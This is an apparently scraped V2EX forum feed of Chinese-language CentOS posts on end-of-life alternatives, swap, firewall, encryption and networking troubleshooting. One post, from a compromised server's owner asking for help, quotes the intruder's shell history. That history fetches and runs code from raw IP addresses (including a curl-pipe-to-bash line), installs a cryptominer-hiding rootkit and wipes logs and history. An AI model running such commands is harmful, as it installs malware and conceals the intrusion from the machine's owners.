CentOS way to explore https:https://cdn.v2ex.com/navatar/250c/f8b5/456_normal.png?m=1520822127 https:https://cdn.v2ex.com/navatar/250c/f8b5/456_large.png?m=1520822127 2025-03-31T15:24:34Z Copyright © 2010-2018, V2EX vscode 的 remote-ssh 还支持 centos7 吗? tag:www.v2ex.com,2025-03-31:/t/1122401 2025-03-31T13:11:20Z 2025-03-31T15:24:34Z chenqh member/chenqh 突然有需求,要切回 centos7 了,本来都用 debian11 好久了.

如果不是没有必要,真的不想用 centos7,但是没有办法.

]]>
CentOS Stream 10 正式 GA, RHEL 10 Beta 也上路了 tag:www.v2ex.com,2024-12-16:/t/1097856 2024-12-16T05:40:00Z 2024-12-16T06:48:41Z alanying member/alanying CentOS Stream 10 (代号 "Coughlan")现已正式发布!作为 CentOS 项目的最新版本,它为我们带来了众多新特性和改进。以下是一些亮点:

主要架构支持:

  • 🖥️ AMD/Intel 64 位( x86_64_v3 )
  • 📱 ARM 64 位( ARMv8.0-A )
  • 🖥️ IBM Power ( POWER9 )
  • 🖥️ IBM Z ( z14 )

核心组件更新:

  • 🐧 内核:Linux 6.12
  • 编程语言和编译器:
    • 🐍 Python 3.12
    • 🛠️ GCC 14
    • 🐹 Go 1.23
    • 🦀 Rust 1.82
    • 🧠 LLVM 19
    • 💎 Ruby 3.3
    • 🟢 Node.js 22
    • 🐘 PHP 8.3
    • ☕ OpenJDK 21
  • Web 服务器:
    • 🌐 Apache HTTP Server 2.4.62
    • 🚀 nginx 1.26
  • 数据库:
    • 🐘 PostgreSQL 16
    • 🐬 MariaDB 10.11
    • 🐬 MySQL 8.4
    • 🔑 Valkey 7.2 (替代 Redis )
  • 桌面技术:
    • 🖥️ GNOME 47
    • 📚 Qt 6.7
  • 软件管理:
    • 📦 DNF 4.20
    • 📦 RPM 4.19

重要变更:

  • Xorg 服务器移除:默认使用 Wayland ,Xwayland 作为兼容层。
  • 桌面应用程序移除:如 Firefox 、GIMP 、LibreOffice 等。建议通过 Flathub 或 EPEL 获取所需应用。
  • 🔄 Redis 被 Valkey 取代:Valkey 是 Redis 的一个分支。

已知问题:

  • ⚠️ Secure Boot:当前版本在启用 Secure Boot 时可能无法正常工作。

CentOS Stream 10 将作为未来 Red Hat Enterprise Linux 10 的预览版本,预计生命周期至 2030 年。

]]>
CentOS 采用 stream 升级以后,真的会有人选择 Rocky 或者 Alma Linux 吗 tag:www.v2ex.com,2024-08-12:/t/1064271 2024-08-12T02:37:31Z 2024-08-16T11:09:29Z lixuanyy member/lixuanyy CentOS stream 成了上游小白鼠,centos7 的支持也结束了,好奇有没有公司转 rocky 或者 alma 这些系统,我司是选择转 Debian 去了。当时也有同事提出转 rocky 此类系统,迁移成本低。 但是未经时间测试的东西,大家还是不敢真的用在生产环境用,还是放弃了这个念头。

]]>
使用迁移工具迁移 centos7 会有什么坑? tag:www.v2ex.com,2024-07-30:/t/1061302 2024-07-30T11:59:27Z 2024-08-27T10:44:43Z Yanel member/Yanel 众所周知 centos7 停服,打算将一些云虚拟机迁移到新系统

目前目标系统有 RHEL ,openeuler ,银河麒麟

由于是不同的业务,不同的应用开发商开发的系统,每个应用系统下都有数量不一的虚拟机,所以三个目标系统都有可能迁移。

由于不是普通的如阿里云、腾讯云这样的公有云,所以有很大的迁移难度。目前我想通过平滑迁移的方法将系统迁移到目标系统,就是不新装系统,而是使用工具进行系统迁移。

我查了从 centos7 迁移到这三个系统都有官方提供的迁移工具,如红帽的 conver2RHEL ,欧拉的 x2openeuler ,麒麟的也有。

想问下各位,目前这样的迁移方法技术是否稳定成熟,有哪些需要注意的点?

集思广益,也能为大家今后迁移 centos 提前踩坑。

当然我知道能用的系统最好是不要动,我肯定是不想背这种锅。

]]>
CentOS 将于 6 月 30 全面停服。 tag:www.v2ex.com,2024-06-29:/t/1053516 2024-06-29T02:47:22Z 2024-06-29T11:09:07Z yfixx member/yfixx Linux 小白求助 swap 占用问题 tag:www.v2ex.com,2024-05-13:/t/1040398 2024-05-13T13:11:25Z 2024-05-13T13:11:25Z ezeroone member/ezeroone
cat /proc/sys/vm/swappiness
30

[root@localhost ~]# free -h
total used free shared buff/cache available
Mem: 15G 7.7G 182M 670M 7.6G 6.8G
Swap: 1.6G 1.6G 196K

[root@localhost ~]# cat /proc/meminfo
MemTotal: 16264392 kB
MemFree: 202556 kB
MemAvailable: 7150152 kB
Buffers: 0 kB
Cached: 7441640 kB
SwapCached: 8416 kB
Active: 10448388 kB
Inactive: 4527600 kB
Active(anon): 7025012 kB
Inactive(anon): 1195560 kB
Active(file): 3423376 kB
Inactive(file): 3332040 kB
Unevictable: 0 kB
Mlocked: 0 kB
SwapTotal: 1679356 kB
SwapFree: 244 kB
Dirty: 52 kB
Writeback: 828 kB
AnonPages: 7526168 kB
Mapped: 93996 kB
Shmem: 686224 kB
Slab: 643864 kB
SReclaimable: 530412 kB
SUnreclaim: 113452 kB
KernelStack: 25392 kB
PageTables: 79460 kB
NFS_Unstable: 0 kB
Bounce: 0 kB
WritebackTmp: 0 kB
CommitLimit: 9811552 kB
Committed_AS: 15227004 kB
VmallocTotal: 34359738367 kB
VmallocUsed: 35568 kB
VmallocChunk: 34359700252 kB
HardwareCorrupted: 0 kB
AnonHugePages: 1468416 kB
CmaTotal: 0 kB
CmaFree: 0 kB
HugePages_Total: 0
HugePages_Free: 0
HugePages_Rsvd: 0
HugePages_Surp: 0
Hugepagesize: 2048 kB
DirectMap4k: 898940 kB
DirectMap2M: 15878144 kB

[root@localhost ~]# iostat -d -x -k 1 10
Linux 3.10.0-1062.el7.x86_64 (localhost.localdomain) 2024 年 05 月 13 日 _x86_64_ (8 CPU)

Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util
sda 0.03 0.45 3.86 8.58 179.50 182.78 58.23 0.14 9.52 36.61 26.32 14.24 17.72
dm-0 0.00 0.00 3.87 8.95 178.92 182.45 56.37 0.14 10.93 35.07 0.48 13.81 17.71
dm-1 0.00 0.00 0.02 0.08 0.06 0.32 8.00 0.25 2600.87 1909.98 2733.58 130.32 1.24

Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util
sda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 64.00 0.00 0.00 0.00 0.00 100.00
dm-0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 87.00 0.00 0.00 0.00 0.00 100.00
dm-1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00

Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util
sda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 64.00 0.00 0.00 0.00 0.00 100.00
dm-0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 87.00 0.00 0.00 0.00 0.00 100.00
dm-1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00

Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util
sda 0.00 7.00 0.00 103.00 0.00 1562.00 30.33 29.70 17255.64 0.00 17255.64 8.30 85.50
dm-0 0.00 0.00 0.00 46.00 0.00 937.50 40.76 39.66 50414.85 0.00 50414.85 18.59 85.50
dm-1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util
sda 0.00 0.00 0.00 1.00 0.00 48.00 96.00 19.43 12364.00 0.00 12364.00 1000.00 100.00
dm-0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 20.43 0.00 0.00 0.00 0.00 100.00
dm-1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00

Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util
sda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 19.00 0.00 0.00 0.00 0.00 100.00
dm-0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 20.00 0.00 0.00 0.00 0.00 100.00
dm-1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00

Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util
sda 0.00 1.00 0.00 34.00 0.00 342.00 20.12 9.67 1767.00 0.00 1767.00 17.00 57.80
dm-0 0.00 0.00 0.00 16.00 0.00 103.50 12.94 10.20 3941.44 0.00 3941.44 36.12 57.80
dm-1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00

Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util
sda 0.00 0.00 0.00 5.00 0.00 1548.00 619.20 0.03 5.80 0.00 5.80 2.80 1.40
dm-0 0.00 0.00 0.00 5.00 0.00 1548.00 619.20 0.03 5.80 0.00 5.80 2.80 1.40
dm-1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00

Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util
sda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
dm-0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
dm-1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 ]]>
求助,如何在 Centos9 文本安装模式下对 root 分区进行 luks 加密? tag:www.v2ex.com,2024-02-08:/t/1015082 2024-02-08T12:49:17Z 2024-02-08T12:47:17Z cyrker member/cyrker 如题,由于服务器奇怪的问题无法进入图形引导界面安装系统,只能使用文本模式( textmode )进行安装

然而还有加密根目录的需求,去搜索了一下相关文档说是对根目录的加密需要在安装系统的时候进行

所以来求助一下广大坛友! 目前是这样操作的 进入文本模式后按 alt+tab 切换到其他终端 使用

cryptsetup luksFormat /dev/sda2 cryptsetup open /dev/sda2 root 

创建加密分区,然后切换回文字引导模式,选择安装位置的时候会报错 报错内容为

The existing unlocked Luks device sda2 cannot be used for the installation without an encryption key specified for this device. Please, rescan the storage 
]]>
为什么 CENTOS crontab 的 PATH 不包含/usr/sbin? tag:www.v2ex.com,2024-01-15:/t/1008854 2024-01-15T10:12:10Z 2024-01-15T11:20:18Z phpfpm member/phpfpm 遇到的问题

研发侧发现,一个 php 脚本可以正常调用docker(podman)进行一些操作,但是经由 crontab 调度则执行失败

只说重点

  1. 发行版:腾讯云的 TencentOS Server 3.1 (TK4)
  2. 登录的 shell 的 PATH 有 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin:/root/bin
  3. crontab 的 path 只有/usr/bin:/bin
  4. 如果缺乏/usr/sbin 会导致 podman 启动的时候无法访问到/usr/sbin/iptables

我想知道的问题

  1. crontab 的 path 没有/usr/sbin到底是为啥
  2. 在 crontab 调度 docker 启动一个临时容器做一些事情的时候,正确的姿势是什么?手动指定一下 path?
]]>
Centos7 资源没怎么占用,执行各种命令都很卡,求大佬帮忙解决下 tag:www.v2ex.com,2023-12-11:/t/999360 2023-12-11T05:56:47Z 2023-12-11T06:25:52Z falser101 member/falser101 如题,重启后也没有好转

]]>
centos7 网络无法启动,无法理解缘由 tag:www.v2ex.com,2023-11-24:/t/994816 2023-11-24T05:36:38Z 2023-11-24T17:02:00Z molika member/molika 因为某些事情,要更新下 dns,然后在腾讯云的服务器上根据 chatgpt 的提示 进行了

sudo vi /etc/resolv.conf` nameserver 8.8.8.8 nameserver 8.8.4.4 sudo systemctl restart network 

然后机器就失去了链接,vnc 登录后发现 network 启动失败. 搜索了下相关解决方法,也没处理掉.到现在还是一头雾水. 最无法理解的是为何更新这个 8.8.8.8/114.114.114.114 会影响网络启动? 不知道有木有知道的大佬给消息解惑下.

]]>
改完 root 密码后 SSH 无法登录了 tag:www.v2ex.com,2023-11-16:/t/992541 2023-11-16T10:41:22Z 2023-11-16T11:27:59Z lon91ong member/lon91ong
改回旧密码就可以正常 SSH 登录



Linux 新手,希望大佬能在给出解决办法的基础上,对这种报错情形加以解释一二 ]]>
[求助]centos 6.5 配置多个公网 ip tag:www.v2ex.com,2023-10-29:/t/986426 2023-10-29T06:33:44Z 2023-11-23T01:36:30Z kokyang123 member/kokyang123 现在给了我三个公网 ip ,每个地址的网关都不同,如下示例:
移动:111.111.111.111 网关:111.111.111.110
联通:222.222.222.222 网关:222.222.222.220
电信:189.189.189.189 网关:189.189.189.190

服务器操作系统为 centos6.5 ,
现在把三根网线分别插在服务器的网口上,系统三个网卡也分别配置完毕 eth0-2 。
现在如果启用三个网卡,那么只有一个网卡的配置会生效。然后再对路由和规则进行配置,但是无效(可能是我配置错了?)

现在的需求就是可以通过三个地址同时访问到这台服务器即可,手里也没有其他的交换设备了,求助万能的 V 友,不胜感激。 ]]>
如果 centos7 版本也停更了,替代方案还有哪些 tag:www.v2ex.com,2023-10-09:/t/980137 2023-10-09T02:37:35Z 2023-10-13T01:14:53Z leifv member/leifv 现在了解到的有: Oracle Linux OpenEuler 统信 UOS 中标麒麟 银河麒麟 Rocky Linux ubuntu22 anolis8.6

]]>
[实在是高] redha 直接消灭了免费的二进制兼容的 rhel 发行版 tag:www.v2ex.com,2023-07-16:/t/957139 2023-07-16T06:18:04Z 2023-07-17T11:17:11Z 2NUT member/2NUT 最近才看到这个二十多天前的消息。

  1. 之前 almalinux 或者 oracle linux 或者 rockylinux 可以直接通过 rhel 公布的源码构建完全 1:1 等价的 rhel 免费发行版

  2. 现在红帽决定不公开 rhel 发行版了,你会问这不违反 gpl 协议么? 不违反,因为 gpl 之规定你分发二进制的时候必须附上源代码,现在你不花钱就无法获得 rhel ,而花了钱的用户可以通过红帽的 portal 协议获得源代码,对了通过 portal 获取的源码直接构建是违反红帽协议的。

  3. 结合去年高招,centos 直接成为中游 stream ,也就是 fedora 负责社区快速迭代,centos stream 的代码完全公开,但是 我 rhel 虽然是基于 stream 的代码库,但我现在不公开了,你想要白嫖我,你自己去 stream 代码库里构建,我完全遵循开放源码的规定,但是想 1:1 二进制兼容,你自己去 stream 滚动版本里提取吧。

  4. 有人说 源码 等价 和 二进制等价有啥区别,主要就在于 安全更新 和维护的软件包,在滚动发行版本里只存在最新的版本 这里面是不包含商业加护维护的那些 bugfix 的。

感慨法务真的伟大值钱,早应该这么干了。 第一步收购 centos ,消灭 centoos ; 第二步 创建 centos stream 滚动发行版成为 rhel 中游; 第三步,通过法律条款直接限制 第三方 基于 srpm 构建二进制等价的发行版; 第四步,宣布个人用户免费可以使用 16 台 rhel 的授权

cite:

https://www.reddit.com/r/AlmaLinux/comments/14fcj4h/centos_stream_will_now_be_the_sole_repository_for/ https://juejin.cn/post/7238772205515997245

上面这个掘金的关于 redhat 员工的采访真实绝了,不停的混淆 源码等价 和 二进制等价这件事,堪称绝杀,甚至在道德层面都无法指摘。

]]> Centos 7.9 firewall 报错 tag:www.v2ex.com,2023-02-25:/t/919057 2023-02-25T00:54:03Z 2023-02-25T00:54:03Z wolfcdd member/wolfcdd

[root@localhost]# firewall-cmd --list-all-zones
block
target: %%REJECT%%
icmp-block-inversion: no
interfaces:
sources:
services:
ports:
protocols:
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:


dmz
target: default
icmp-block-inversion: no
interfaces:
sources:
services:
ports:
protocols:
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:


docker
target: ACCEPT
icmp-block-inversion: no
interfaces:
sources:
services:
ports:
protocols:
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:


drop
target: DROP
icmp-block-inversion: no
interfaces:
sources:
services:
ports:
protocols:
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:


external
target: default
icmp-block-inversion: no
interfaces:
sources:
services:
ports:
protocols:
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:


home
target: default
icmp-block-inversion: no
interfaces:
sources:
services:
ports:
protocols:
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:


internal
target: default
icmp-block-inversion: no
interfaces:
sources:
services:
ports:
protocols:
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:


public
target: default
icmp-block-inversion: no
interfaces:
sources:
services:
ports:
protocols:
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:


trusted
target: ACCEPT
icmp-block-inversion: no
interfaces:
sources:
services:
ports:
protocols:
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:


work
target: default
icmp-block-inversion: no
interfaces:
sources:
services:
ports:
protocols:
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:


[root@localhost]# firewall-cmd --get-default-zone

[root@localhost]# firewall-cmd --get-active-zones
[root@localhost]# firewall-cmd --info-zOne=all
Error: INVALID_ZONE: all ]]>
Linux 字体不定期失效问题 tag:www.v2ex.com,2023-02-17:/t/916975 2023-02-17T07:59:28Z 2023-03-18T07:49:36Z iSNN member/iSNN 文档预览功能,运行了 office 转 pdf 的服务用的 libreoffice ,其中需要一些中文字体
字体下载安装完后 运行正常

运行一段时间后,字体就失效,没有发现规律。最近 3 天内出现了两次,但这两次前已经有一年多没有出现了。
转成的 pdf 没有的字体就是白框,用 fc-list :lang=zh 显示的已安装字体是有的,但是再执行相关字体安装命令 mkfontscale mkfontdir fc-cache 后,转的 pdf 恢复正常。

这前后使用 fc-list :lang=zh 所列出的已安装字体没有变化

此服务器上还运行了一个 ocr 的服务,此外就没有其他东西了。
ocr 的是 python 写的,不是我负责的,但是这个服务已经稳定下来很旧没有更新过,里面页没有动系统配置的代码。

希望大佬能够指点下 ]]>
[求助] 系统中毒了,找到了进程和文件,无法杀死和删除 tag:www.v2ex.com,2022-12-02:/t/899648 2022-12-02T08:30:34Z 2022-12-03T18:48:08Z quadrapop member/quadrapop 直接进入主题

操作日志

1 export TERM=xterm 2 top 3 /usr/lib/sys/rcu_bj 4 cd /usr/lib/sys/ 5 ls 6 chmod +x rcu_bj 7 ./rcu_bj 8 chattr -ia rcu_bj 9 ./rcu_bj 10 cd / 11 mkdir .a 12 cd .a 13 git clone https://github.com/alfonmga/hiding-cryptominers-linux-rootkit.git 14 cd hiding-cryptominers-linux-rootkit/ 15 ls 16 make 17 dmesg 18 dmesg -C 19 ls 20 make 21 ls 22 make 23 make 24 cd .. 25 rm -rf hiding-cryptominers-linux-rootkit/ 26 curl -LO http://1.234.16.54:7070/apiapi/api/raw/master/s.zip;mv s.zip rcu;chmod +x rcu 27 ./rcu 28 top 29 rm -rf /var/log/* 30 cat /dev/null > ~/.bash_history 31 id 32 curl http://123.30.179.206:8189/solr/.v7/api | bash 33 ps auxw --sort=%cpu|tail -10 34 lscpu 35 ps auxw --sort=%cpu|tail -10 36 ps auxw --sort=%cpu|tail -10 37 ps auxw --sort=%cpu|tail -10 38 ps aux | grep rcu 39 python -c 'import pty; pty.spawn("/bin/bash")' 

帮忙解读下这段脚本都干嘛了-_-

https://github.com/alfonmga/hiding-cryptominers-linux-rootkit

下载的这个脚本看用途是用来隐藏文件夹和进程的

3 个可疑文件看起来没有隐藏文件属性,但是无法删除

[root@localhost profile.d]# cd /usr/lib/sys [root@localhost sys]# ll 总用量 8 -rwxr-x--x 1 root confluence 0 12 月 1 18:38 rcu_bj -rwxr-x--- 1 root confluence 2786 11 月 14 11:01 rcu_libk -rwxrwx--- 1 root root 1199 11 月 14 11:01 rcu_udev -rwxr-x--- 1 root confluence 0 11 月 14 18:02 systemd [root@localhost sys]# lsattr rcu_bj ---------------- rcu_bj 您在 /var/spool/mail/root 中有邮件 [root@localhost sys]# lsattr rcu_libk ---------------- rcu_libk [root@localhost sys]# lsattr rcu_undev lsattr: 没有那个文件或目录 当尝试对 rcu_undev 进行 stat 调用时 [root@localhost sys]# lsattr rcu_udev ---------------- rcu_udev 

进程也杀不死

[root@localhost sys]# ps -ef|grep rcu root 8 2 0 4 月 13 ? 00:00:06 [rcu_bh] root 9 2 0 4 月 13 ? 22:01:59 [rcu_sched] root 168224 243031 0 16:28 pts/24 00:00:00 grep --color=auto rcu 

各位大佬接下来应该怎么办呀

]]>
centos 不维护后,还有哪些好的 server 端 os 可以替代 centos? tag:www.v2ex.com,2022-08-15:/t/872982 2022-08-15T07:10:17Z 2022-08-15T16:57:54Z gongquanlin member/gongquanlin centos8 停止维护已经 1 年了,生产上替代 centos 的还有哪些系统比较合适? debian 、ubuntu server 、还是其他什么系统呢~

]]>
请教 vps 内外网卡均显示内网 ip 地址问题, 如何修改 tag:www.v2ex.com,2022-07-10:/t/865272 2022-07-10T09:48:50Z 2022-07-10T09:47:50Z PEax member/PEax 10.0.9.2 >>> 94.23.206.89 肯定是不行的,求解答,琢磨了两天
2022-07-0913:28:48 Timed out,status ETIMEDOUT while connecting from mydomain (10.0.9.2)to reception.mail-tester.com
(94.23.206.89)(5x)

查看网卡配置如下:

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.38.2 netmask 255.255.255.0 broadcast 10.0.38.255
inet6 fe80::76b5:36ff:fe00:5a prefixlen 64 scopeid 0x20<link>
ether 74:b5:36:00:00:5a txqueuelen 1000 (Ethernet)
RX packets 8439 bytes 825619 (806.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8406 bytes 1215975 (1.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ]]>
Cockpit 自动登录二级服务器问题 tag:www.v2ex.com,2022-04-24:/t/848980 2022-04-24T10:10:06Z 2022-04-29T09:19:11Z zanxj member/zanxj 现在的问题是在 Cockpit 主服务器每次注销登录后,再次登录需要手动去开启密钥验证(须手动输入主服务器用户密码),才能去查看二级服务器运行状况。有什么方法不需要每次登录后手动再次开启验证?查看了 Google 百度都没有找到解答,希望大家不吝赐教!
]]>
centos 如何做个端口映射? tag:www.v2ex.com,2022-03-24:/t/842702 2022-03-24T12:02:44Z 2022-03-24T17:27:24Z dtgxx member/dtgxx centos 8 rc.local 不能正常工作 tag:www.v2ex.com,2021-11-27:/t/818296 2021-11-27T00:29:34Z 2021-11-29T16:00:19Z v2000000001ex member/v2000000001ex CentOS 如何创建一个用户,只允许该用户(只读)访问特定文件夹下的文件,其他文件均对其不可见 tag:www.v2ex.com,2021-11-20:/t/816697 2021-11-20T00:59:52Z 2021-12-14T16:29:26Z dLvsYgJ8fiP8TGYU member/dLvsYgJ8fiP8TGYU 背景

有一台服务器需要登录上去查看日志。希望创建一个账户,实现以下权限管理:

执行过的操作

尝试过依据 https://www.digitalocean.com/community/questions/how-do-i-restrict-a-user-to-a-specific-directory 的内容,执行

adduser -g restricted_user -d /home/restricted_user restricted_user 

并设置了 home 目录所有者

chown -R restricted_user /home/restricted_user 

问题

使用 restricted_user 用户登录 SSH ,通过 Midnight Commander 测试,确实无法访问 /root 目录,提示无权限。但依然可以访问其他目录并看到其中文件名称,例如 /etc,这是不希望看到的。

解决方法?

/root 权限为 dr-xr-x--- (550)

/etc 权限为 drwxr-xr-x (755)

假如把包括 /etc /var 这些文件夹权限都设置成 550 ,是否会有些激进?是否会影响 root 账户下运行的其他进程,或者带来未知的系统性问题?

还有没有什么其他好办法来创建一个用户,只允许其访问指定文件夹下的文件?

感谢各位

]]>
AlmaLinux 8.5 发布了 tag:www.v2ex.com,2021-11-14:/t/815316 2021-11-14T10:10:35Z 2021-11-14T10:10:35Z salmon5 member/salmon5 https://mirrors.almalinux.org/isos.html
根据我最近半年的观察,相对 RockyLinux ,
它的社区更活跃、有专职的 5 人维护团队、更成熟(细节更规范),
这次 8.5 也是 RHEL8.5 出来 2 天后秒出;
我更倾向于它来替代 CentOS ]]>
CentOS 8 即将在本年年底停止维护,最近有各种各样的基于 CentOS 的二次发行版出现,大家如何看待。 tag:www.v2ex.com,2021-09-16:/t/802434 2021-09-16T21:43:23Z 2021-09-16T03:07:50Z johnsonwil member/johnsonwil
例如:
官方

RedHat:Centos Stream 8 、在 CentOS 8 的基础上加上了滚动更新功能(就像 Windows 隔三岔五像你推送更新安装一样),原来的 CentOS 是以版本号更新而为系统进行更新,例如 7.5 到 7.6 用户自由选择是否升级,但 Stream 会一直给你推送各种更新,人们担忧这会让 CentOS 的稳定性荡然无存,所以就出现了下面的各种第三方发行版 RHEL 系统。

云厂商

腾讯云:TencentOS Server 3 ( RHEL 8 )、TencentOS Server 2 ( RHEL 7 )已开源并可安装在任意其他服务器和腾讯云官方,官方承诺会至少 3 个月更新一次。
阿里云:Aliyun Linux 3 ( RHEL 8 ) Aliyun Linux 2 ( RHEL 7 ) 已开源但似乎只支持在阿里云使用。

基金会 公益

Rocky Linux:Rocky Linux 8 ( CentOS 8.4 )并承诺在 CentOS 停止维护后将会持续同步更新 RHEL 8 的各种更新并及时修复维护 0day 安全补丁 ,原 CentOS 创始人不满 RedHat 被 IBM 收购后的对开源不尊重,并二次创立该项目,为了避免该项目遭到类似 CentOS 被收购等命运,在创立开始前就已经设置了各种条款来禁止被第三方商业公司收购从而避免任何商业化的可能性。

Alma Linux:Alma Linux 8 ( CentOS 8.4 )并承诺在 CentOS 停止维护后将会持续同步更新 RHEL 8 的各种更新并及时修复维护 0day 安全补丁,由 CloudLinux OS 运维并设立了 AlmaLinux OS 基金会。AlmaLinux OS 是 RHEL® 的 1:1 二进制兼容分支。 由社区引导和建设。 ]]>
有感于 CentOS 停止维护 tag:www.v2ex.com,2021-09-07:/t/800283 2021-09-07T00:24:27Z 2021-09-07T15:38:01Z nbweb member/nbweb
本人是做设计的,十多年前的一天,突然在做网站有了兴趣,于是从头学起。学着买域名,学着做 A 记录和 C 记录,买空间,后来买 vps,再后来自己照猫画虎的搭 web 服务器。

最早是去 hostloc,一众大神们各处指导,全部推荐用 CentOS 做为服务器的系统,网上也有很多的关于中文 CentOS 的社区。后来遇到一个哈尔滨的哥们,他真的是无私的指导我,带我入门。后面他推荐我用了 Debian,说大便像一个四十岁的中年人,稳重没啥大问题,我记得当时是 Debian 6 。他还说,如果想新功能、激进一些的,就用 ubuntu 。从那时起,一直到现在,都是忠实的 Debian 党了。我的个人博客,很多文章都是关于 Debian 的,有使用心得,也有解决问题的方法,也有各种小白教程。老哥当年写的一键在线搭建 dnmp ( debian+nginx+mysql+php )的 web 服务器脚本,我使用到现在,每当 Debian 大版本升级时,我就维护一下源,或者其它的小维护一下。

我使用 CentOS 就只有入门那两三个月,后面再也没有关注过了。昨天听说要停止了,还是挺遗憾的。记得当初老哥说,别看 CentOS 中文社区多,那是因为很多台湾人在用,但是 Debian 是全球用的人多,什么样的问题,都会有解决方法。

兄弟们,转战 Debian 吧!! ]]>
CentOS 装 smb 无法在 macOS 和 Windows 里的网络里显示? tag:www.v2ex.com,2021-08-11:/t/794993 2021-08-11T01:35:31Z 2021-08-11T03:19:50Z stille member/stille CentOS 7 装了 SMB 服务,简单配置后可以正常使用 IP 形式访问.

以上两种方式都可以连接成功输入用户密码使用.

但是无法在 macOS 和 Windows 的网络里自动被发现.例如群晖,Windows PC.甚至 OpenWrt 都能够这被自动发现,就是这个 CentOS 的 smb 无法被发现..

个人觉得应该是 workgroup 或者类似于网络发现之类的功能没开启,搜索了下国内外的一些问题,也尝试过很多都没有解决.

目前尝试过在 [global] 里修改 workgroup = WORKGROUP , 但是执行 testparm 回显却不显示这一行,那就表示这一行有问题..但是改为其他的例如 workgroup = SAMBA 却没问题.

实在没办法了,看看大家有没有遇到过解决过这个问题的..

相关参数,图片

nmbd 已开启

smb.conf

[global] security = user workgroup = WORKGROUP netbios name = CentOS passdb backend = tdbsam 

testparm 回显

Server role: ROLE_STANDALONE Press enter to see a dump of your service definitions # Global parameters [global] netbios name = CENTOS security = USER wins support = Yes idmap config * : backend = tdb 

20210811093006c8pk0f 20210811093007QjldUr

]]>
centos 防火墙关闭后端口依旧无法访问 tag:www.v2ex.com,2021-07-11:/t/788849 2021-07-11T08:39:47Z 2021-07-11T14:44:08Z ex1gtnim7d member/ex1gtnim7d 不管防火墙有没有启用,端口必须添加到放行列表里面,才能使得端口成功被访问。

有没有懂哥知道为什么?

]]>
centos swap 内存不被使用问题 tag:www.v2ex.com,2021-07-09:/t/788640 2021-07-09T16:45:13Z 2021-07-09T19:10:12Z csfreshman member/csfreshman 自己有台淘汰的笔记本,内存较小,安装了 centos 系统,在安装 grpc 的时候报错 oom,使用命令:

watch -n 2 free -m 

查看发现内存耗尽了,于是参考文档配置了 swap 内存,未编译时状态:

[root ~]#free -m total used free shared buff/cache available Mem: 3685 426 2922 9 335 3022 Swap: 11967 0 11967 

编译 grpc 后的状态

Every 2.0s: free -m Fri Jul 9 12:40:49 2021 total used free shared buff/cache available Mem: 3685 3361 98 9 225 87 Swap: 11967 0 11967 

从上面的图可以看到,内存基本上使用完了,但死活不使用 swap 里的内存,最后程序卡死,编译 grpc 一直卡在 50%,我把 vm.swappiness 值设置为 10 20 …… 100 最后结果一样。

grpc 最终卡在:

